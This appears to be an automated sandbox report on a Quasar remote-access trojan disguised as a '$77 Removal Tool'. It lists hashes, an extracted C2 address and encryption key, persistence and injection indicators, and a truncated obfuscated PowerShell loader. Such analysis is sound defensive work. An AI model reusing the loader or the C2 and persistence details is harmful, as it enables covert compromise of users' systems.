Analysis
- max time kernel
21s - max time network
46s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system - submitted
03/05/2024, 18:24
Behavioral task
behavioral1
Sample
$77 Detection.dll
Resource
win10v2004-20240419-en
Behavioral task
behavioral2
Sample
$77 Removal Tool.exe
Resource
win10v2004-20240419-en
Behavioral task
behavioral3
Sample
Guna.UI2.dll
Resource
win10v2004-20240426-en
Behavioral task
behavioral4
Sample
Mono.Cecil.dll
Resource
win10v2004-20240419-en
Behavioral task
behavioral5
Sample
Mono.Nat.dll
Resource
win10v2004-20240426-en
Behavioral task
behavioral6
Sample
netstandard.dll
Resource
win10v2004-20240426-en
General
- Target $77 Removal Tool.exe
- Size 409KB
- Sample240503-w16basfh82
- SHA256 ad4f988a89e1ca7d8db44144b8b344a74f10b1a7e3643ad32782c9c24a3bfcb9
- MD5 07f4778c3708c0c130dbb45cf1633dbd
- SHA1 5188ff38d1b3d9fb1cb60b3820861f518700422f
- SHA512 87fe4e61e0903b7d3b8ba27e939bd51b822753b3bd94bcee3bc6f6f0f8973ce74ba9d3238cd2124265f8d7748fd8960ecc45e77326a90ac69158b9f774556036
- SSDEEP 6144:LMx9p1kREG60ol3dhNNV+2qgP9nTgMSghCb58ABnB6E9CJmAorfrzlC:mpiREGJ6hNNV3qm9njGnBd95HrfrJC
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
quasar
-
3.1.5
-
$77 Flusher
-
even-lemon.gl.at.ply.gg:33587
-
$Sxr-3vDee7FzoJnhqjuE3n
-
encryption_key
GX9vycIPcQc04h4dOPgm
-
install_name
$77Remover.exe
-
log_directory
Logs
-
reconnect_delay
1000
-
startup_key
$77 Rootkit Remover
-
subdirectory
$77 Removal Tool
Signatures
- Quasar payload 2 IoCs
resource yara_rule behavioral2/memory/2560-1-0x0000000000B40000-0x0000000000BAC000-memory.dmp family_quasar behavioral2/files/0x000a000000023ba1-11.dat family_quasar - Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2928 created 612 2928 powershell.EXE 5 - Downloads MZ/PE file
- Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe - Executes dropped EXE 2 IoCs
pid Process 4668 $77Remover.exe 3976 install.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 19 raw.githubusercontent.com 20 raw.githubusercontent.com - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 12 ip-api.com - Drops file in System32 directory 10 IoCs
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx svchost.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2928 set thread context of 1532 2928 powershell.EXE 101 - Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe - Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe - Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5076 schtasks.exe 2860 SCHTASKS.exe 1640 schtasks.exe - Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe - Modifies data under HKEY_USERS 56 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property mousocoreworker.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000e6e1f8e6da58da43b3e37d8f53ff339b000000000200000000001066000000010000200000007e075a8bca7ff2760c624acb3bb779b8dce18f95c859d023092260ad7d922b31000000000e8000000002000020000000b765699a8bcfb45b42212b7ab6f766a7f4103eb6082b478617845ae2574a986cb0030000c9fe8d5b2ed2e56dd4c5ab85472a11dbcbd1d722074144b4425702fe776674ad0f5546c4f107ddee707b347239f372de3b7ef2f491ac2d8b02937d2bda0438df660b833229381f51415396906a28f22e0c66bd9d82d4ef3d43636081da3871cfdc2e5d859011e60f83ac51046c25a13900e9de6ca64f4d36e9391dd2fe1e2c02afb46934bdc72b78851257187a31c7a11e6f4f1569b685cc940b0de6f2fb7c20f8faa8a78842e497ccc99918d6e552cd6a4667df77276bb791db3e8b6d2e212c5354105018add961eb2dd333f001e7e9dba9dcfcff2cae25f8fc3250934cb1803bfcbb317a05cfb6e0f472593d799b56707bbeb1bede3f9745ad8ebba36765bd253c98b29b9f2dcdd4cbe02eb93fcd523e2cff7a84ccc6aa682ad84f8e31ed651cc1d3bfdac8712d73549d224a97d143e5dd98f4584b2a12e6ea48e00b19a94e164701f16e38e5e1efc9ecc7a59db5ca0dc06f072ecf911640e34b21cc7044c1c38fff8b1c52b9055021f0a57c549f0b1842147d6717cf0d2267337c64ff1db01548161a8ee063f7447e9417c5e39968e62a83f031b1d869008c35d7d0c9698db80fa4e400dcef11c8c63742098d35df60280b25fc4074aa033f7a6d6b1a2e70449acee84c352bfa92dc8de547fb640b38990cc3a826a2716f014adfba0c5149f51fe3d1799525e845251ce6dda4bf9cc1b87da4ad54104a9edd30bac7cb2575eac07294109e624fab8abe4c3d9ae5b666e1778944d5e94d05076506bbe2f5f7907d30c46ee50bcbe42c20996038af267ac36bc9d4ed86ee8ec713a56face6ea384c5685fb8faa01b927d6e1f1031ddc85b9537e8d7423025e941ae5dd4204ef320da863b513ab8504d767db7bf48dddb84267f72f48f80fc9011e70a4c5fcd01c4c7d359065a130706d814275523996ae48bff906d298905fd8582364b704c3b61a7b5c02647c604ed45a560c71bcf77fb3949b00d94734da47829079a28a393f6d5962b9eec2c96a1c25a20451b09f4bb68303e6387cf2dfb281943660a0fdae91657f0162babf2d682f2d562ba833add58e4b44a7ee7ede9bbbe230ca9552499108f70314f15313ba276387b3168bc001289fa15b2d7faa8d17df8ef358af34d14840a88cef735e99e56de2c2fbe12f7ad9bafe038ac18aa49adc9a7fa37bc4aa4f236f2be1873e0f6ec5d97a8e6fd8a93d5ca8eca177d9371b83519604e8fdcc00c0f072fad4d7c13b44129f047f8230747910f33f779497fa0e4193b3e98140fe1e235cc53aa417ceb6516c0097daede11b37887dcff01520c17c689b75adc7233b23835a6012c07e1c8619841340000000903da735d2bd4bd9c7443f5c071076df1cfde5c30c552915765944ac3f408e54e2c79dbafa470166ad8f8d495e95b3493dcc976a508662859294ec468a2fcaf9 mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018000FED5919E3 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000e6e1f8e6da58da43b3e37d8f53ff339b000000000200000000001066000000010000200000004a7c818c40415f335c69c795ee0d2a6aac798b2d5bff4313da923ed9474ba9bb000000000e80000000020000200000001b2ee7326ba4395a179e61a3a720087a78455b21c27bdf8e054be7a2e0bd35b680000000184eae0961e14283a7ae16691df071cbca40d26295960d43f7c87f7c8a64191b8cc07ec170af6029d9c1949fdcc5999f0d69502f5417e4bd44fda2cb94d35470e79b7bf76b6d7251d436e7db824f21b8012c0e6aad15c5f4bdd24f86fbf6d07dbe380617a811060c833af6eb9d5d6ce75b58e605328692fae3ebc22834f1c2de4000000083569a4a6d9a4394b9d5ee2c72398479297175bc8c751f820f81afe50b8a293779008dde6a9bae30a60c687c441617b69b1428923a82a2ff7c56a6ab7683f833 mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018000FED5919E3" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018000FED5919E3" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2928 powershell.EXE 2928 powershell.EXE 2928 powershell.EXE 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe 1532 dllhost.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3420 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 38 IoCs
description pid Process Token: SeDebugPrivilege 2560 $77 Removal Tool.exe Token: SeDebugPrivilege 4668 $77Remover.exe Token: SeDebugPrivilege 2928 powershell.EXE Token: SeDebugPrivilege 2928 powershell.EXE Token: SeDebugPrivilege 1532 dllhost.exe Token: SeShutdownPrivilege 4296 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4296 mousocoreworker.exe Token: SeShutdownPrivilege 4296 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4296 mousocoreworker.exe Token: SeShutdownPrivilege 4296 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4296 mousocoreworker.exe Token: SeShutdownPrivilege 3868 RuntimeBroker.exe Token: SeShutdownPrivilege 4296 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4296 mousocoreworker.exe Token: SeShutdownPrivilege 3868 RuntimeBroker.exe Token: SeShutdownPrivilege 4296 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4296 mousocoreworker.exe Token: SeShutdownPrivilege 4296 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4296 mousocoreworker.exe Token: SeShutdownPrivilege 4296 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4296 mousocoreworker.exe Token: SeShutdownPrivilege 3868 RuntimeBroker.exe Token: SeShutdownPrivilege 4296 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4296 mousocoreworker.exe Token: SeShutdownPrivilege 4296 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4296 mousocoreworker.exe Token: SeShutdownPrivilege 3868 RuntimeBroker.exe Token: SeShutdownPrivilege 3420 Explorer.EXE Token: SeCreatePagefilePrivilege 3420 Explorer.EXE Token: SeShutdownPrivilege 3420 Explorer.EXE Token: SeCreatePagefilePrivilege 3420 Explorer.EXE Token: SeShutdownPrivilege 3420 Explorer.EXE Token: SeCreatePagefilePrivilege 3420 Explorer.EXE Token: SeShutdownPrivilege 3420 Explorer.EXE Token: SeCreatePagefilePrivilege 3420 Explorer.EXE Token: SeDebugPrivilege 2428 taskmgr.exe Token: SeSystemProfilePrivilege 2428 taskmgr.exe Token: SeCreateGlobalPrivilege 2428 taskmgr.exe - Suspicious use of FindShellTrayWindow 15 IoCs
pid Process 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 3420 Explorer.EXE 3420 Explorer.EXE - Suspicious use of SendNotifyMessage 13 IoCs
pid Process 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe 2428 taskmgr.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2560 wrote to memory of 5076 2560 $77 Removal Tool.exe 87 PID 2560 wrote to memory of 5076 2560 $77 Removal Tool.exe 87 PID 2560 wrote to memory of 5076 2560 $77 Removal Tool.exe 87 PID 2560 wrote to memory of 4668 2560 $77 Removal Tool.exe 89 PID 2560 wrote to memory of 4668 2560 $77 Removal Tool.exe 89 PID 2560 wrote to memory of 4668 2560 $77 Removal Tool.exe 89 PID 2560 wrote to memory of 3976 2560 $77 Removal Tool.exe 91 PID 2560 wrote to memory of 3976 2560 $77 Removal Tool.exe 91 PID 2560 wrote to memory of 3976 2560 $77 Removal Tool.exe 91 PID 2560 wrote to memory of 2860 2560 $77 Removal Tool.exe 92 PID 2560 wrote to memory of 2860 2560 $77 Removal Tool.exe 92 PID 2560 wrote to memory of 2860 2560 $77 Removal Tool.exe 92 PID 4668 wrote to memory of 1640 4668 $77Remover.exe 98 PID 4668 wrote to memory of 1640 4668 $77Remover.exe 98 PID 4668 wrote to memory of 1640 4668 $77Remover.exe 98 PID 2928 wrote to memory of 1532 2928 powershell.EXE 101 PID 2928 wrote to memory of 1532 2928 powershell.EXE 101 PID 2928 wrote to memory of 1532 2928 powershell.EXE 101 PID 2928 wrote to memory of 1532 2928 powershell.EXE 101 PID 2928 wrote to memory of 1532 2928 powershell.EXE 101 PID 2928 wrote to memory of 1532 2928 powershell.EXE 101 PID 2928 wrote to memory of 1532 2928 powershell.EXE 101 PID 2928 wrote to memory of 1532 2928 powershell.EXE 101 PID 1532 wrote to memory of 612 1532 dllhost.exe 5 PID 1532 wrote to memory of 672 1532 dllhost.exe 7 PID 1532 wrote to memory of 960 1532 dllhost.exe 12 PID 1532 wrote to memory of 316 1532 dllhost.exe 13 PID 1532 wrote to memory of 388 1532 dllhost.exe 14 PID 1532 wrote to memory of 1040 1532 dllhost.exe 16 PID 1532 wrote to memory of 1120 1532 dllhost.exe 17 PID 1532 wrote to memory of 1128 1532 dllhost.exe 18 PID 1532 wrote to memory of 1164 1532 dllhost.exe 19 PID 1532 wrote to memory of 1180 1532 dllhost.exe 20 PID 1532 wrote to memory of 1260 1532 dllhost.exe 21 PID 1532 wrote to memory of 1308 1532 dllhost.exe 22 PID 1532 wrote to memory of 1344 1532 dllhost.exe 23 PID 1532 wrote to memory of 1416 1532 dllhost.exe 24 PID 1532 wrote to memory of 1448 1532 dllhost.exe 25 PID 1532 wrote to memory of 1540 1532 dllhost.exe 26 PID 1532 wrote to memory of 1556 1532 dllhost.exe 27 PID 1532 wrote to memory of 1664 1532 dllhost.exe 28 PID 1532 wrote to memory of 1696 1532 dllhost.exe 29 PID 1532 wrote to memory of 1732 1532 dllhost.exe 30 PID 1532 wrote to memory of 1772 1532 dllhost.exe 31 PID 1532 wrote to memory of 1816 1532 dllhost.exe 32 PID 1532 wrote to memory of 1948 1532 dllhost.exe 33 PID 1532 wrote to memory of 1964 1532 dllhost.exe 34 PID 1532 wrote to memory of 1972 1532 dllhost.exe 35 PID 1532 wrote to memory of 1460 1532 dllhost.exe 36 PID 1532 wrote to memory of 1932 1532 dllhost.exe 37 PID 1532 wrote to memory of 2144 1532 dllhost.exe 39 PID 1532 wrote to memory of 2188 1532 dllhost.exe 40 PID 1532 wrote to memory of 2336 1532 dllhost.exe 41 PID 1532 wrote to memory of 2356 1532 dllhost.exe 42 PID 1532 wrote to memory of 2364 1532 dllhost.exe 43 PID 1532 wrote to memory of 2540 1532 dllhost.exe 44 PID 1532 wrote to memory of 2616 1532 dllhost.exe 45 PID 1532 wrote to memory of 2632 1532 dllhost.exe 46 PID 1532 wrote to memory of 2656 1532 dllhost.exe 47 PID 1532 wrote to memory of 2668 1532 dllhost.exe 48 PID 1532 wrote to memory of 2888 1532 dllhost.exe 49 PID 1532 wrote to memory of 2764 1532 dllhost.exe 50 PID 1532 wrote to memory of 1480 1532 dllhost.exe 51 PID 1532 wrote to memory of 3140 1532 dllhost.exe 53 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:316
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{bb2b34bd-7066-4e51-8b98-7351107022fe}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1532
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:388
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1040
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1120
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1128 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3140
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:wjImmlZpmsUu{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nzppuECMcHTOFH,[Parameter(Position=1)][Type]$NEeyLgQgXp)$rVoDEitwLbq=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+'le'+[Char](99)+''+[Char](116)+''+[Char](101)+'dD'+[Char](101)+''+'l'+'e'+[Char](103)+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+'e'+'m'+[Char](111)+''+'r'+''+'y'+''+[Char](77)+''+[Char](111)+'du'+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+'te'+'T'+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+'s'+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+''+'i'+'c'+[Char](44)+'S'+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+','+[Char](65)+''+[Char](110)+''+'s'+'i'+'C'+'la'+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s',[MulticastDelegate]);$rVoDEitwLbq.DefineConstructor(''+[Char](82)+''+'T'+'S'+[Char](112)+'ec'+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+'m'+''+[Char](101)+',Hi'+'d'+'eB'+[Char](121)+''+[Char](83)+'i'+'g'+''+','+''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$nzppuECMcHTOFH).SetImplementationFlags(''+'R'+'u'+'n'+''+'t'+''+'i'+''+[Char](109)+''+'e'+''+','+''+'M'+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+'d');$rVoDEitwLbq.DefineMethod(''+'I'+''+'n'+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'',''+[Char](80)+'ub'+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'H'+'i'+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+'N'+'e'+''+[Char](119)+''+'S'+'l'+[Char](111)+''+'t'+''+[Char](44)+''+'V'+'i'+'r'+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$NEeyLgQgXp,$nzppuECMcHTOFH).SetImplementationFlags(''+[Char](82)+''+'u'+'nti'+'m'+''+'e'+''+','+'M'+[Char](97)+'n'+[Char](97)+'ge'+'d'+'');Write-Output $rVoDEitwLbq.CreateType();}$fmuyGSTDTYrZf=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 